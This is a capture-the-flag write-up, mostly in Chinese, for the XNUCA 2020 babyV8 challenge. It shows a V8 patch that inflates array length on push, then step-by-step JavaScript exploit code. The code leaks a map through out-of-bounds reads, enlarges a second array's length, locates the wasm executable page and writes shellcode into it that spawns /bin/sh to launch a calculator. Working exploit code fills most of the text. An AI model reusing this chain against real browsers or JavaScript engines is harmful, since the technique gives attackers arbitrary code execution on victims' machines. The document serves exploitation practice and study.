2024/12/03/xnuca2020-babyV8

diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
[&](TNode<Object> arg) {
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
arg);
- Increment(&var_length);
+ Increment(&var_length, 3);
},
first);
{

hack

get map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function d2l(x) {
d_buf[0] = x;
return l_buf[0];
}

function l2d(x) {
l_buf[0] = x;
return d_buf[0];
}

var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2); // length add 36
var arr2 = [1.2];
% DebugPrint(arr);
% DebugPrint(arr2);
% SystemBreak();
console.log(d2l(arr[18]));
% SystemBreak();

通过arr的数组越界去读arr2的map

image-20241202203850214

arr的:

image-20241202203830080

疑似读到了这里:

image-20241202203934497

想读的地方:

image-20241202204044956

好像溢出读不到((((

把arr2类型换成Int Array

image-20241202204528062

1
2
3
4
5
6
7
8
9
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 12;

% DebugPrint(arr);
% DebugPrint(arr2);
hexx("map_and_len", d2l(arr[36]));
% SystemBreak();

这样就拿到了map地址

change length

这样可以将arr2的长度改的非常大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 1.1;

map = f64toi64(arr[36]);
map_addr = u64_l(arr[36]);

% DebugPrint(arr);
% DebugPrint(arr2);
printhex("map_and_len", map);

arr[36] = p64(40000, map_addr);

print("arr2: ", arr2[0]);
printhex("arr[36]", h.f64toi64(arr[36]));

% DebugPrint(arr);
% DebugPrint(arr2);
% SystemBreak();

image-20241203074703248

shellcode!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 1.1;
var arr3 = new ArrayBuffer(0x1000);

const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7F, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x00, 0x00, 0x0A, 0x8A, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2A, 0x0B]);
const shellcode = new Uint8Array([0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;


len = u64_h(arr[36]);
map = u64_l(arr[36]);

% DebugPrint(arr);
% DebugPrint(arr2);
printhex("len", len);
printhex("map", map);

arr[36] = p64(40000, map);

print("arr2: ", arr2[0]);
printhex("arr[36]", f64toi64(arr[36]));

% DebugPrint(arr);
% DebugPrint(arr2);
% DebugPrint(arr3);
% SystemBreak();

先创建wasm实例,然后修改arraybuffer的地址,注入shellcode

image-20241203074828033

搜索wasm的shellcode地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var wasm_addr;
for (let i = 0x31200; i < 0x31500; i++) {
tmp = f64toi64(arr2[i]);
// printhex(`${hex(i)}`, tmp);
if (parseInt(tmp) == 0x2f6d7361772f2f3a) {
farrdump(arr2, i + 16, i + 20);
wasm_addr = f64toi64(arr2[i + 17]);
printhex("wasm_addr", wasm_addr);
break;
}

tmp = u64_h(arr2[i]);
tmp_ = u64_l(arr2[i + 1]);
if (tmp == 0x772f2f3a && tmp_ == 0x2f6d7361) {
farrdump(arr2, i + 16, i + 20);
wasm_l = u64_h(arr2[i + 17]);
wasm_h = u64_l(arr2[i + 18]);
printhex("wasm_addr_l", wasm_l);
printhex("wasm_addr_h", wasm_h);
wasm_addr = u64_h(arr2[i + 17]) + ((u64_l(arr2[i + 18]) << 32));
printhex("wasm_addr", wasm_addr);
break;
}
}

注入shellcode然后执行

1
2
3
4
5
6
7
8
9
10
11
arr2[21] = p64(Number(wasm_addr & BigInt(0xFFFFFFFF)), 0);
arr2[22] = p64(0, Number(wasm_addr >> BigInt(32)));
farrdump(arr2, 20, 23);

var shellcode_arr = new DataView(arr3);
for (let i = 0; i < shellcode.length; i++) {
shellcode_arr.setUint32(i, shellcode[i], true);
}
% SystemBreak();

func();

image-20241203085759552

image-20241203085728730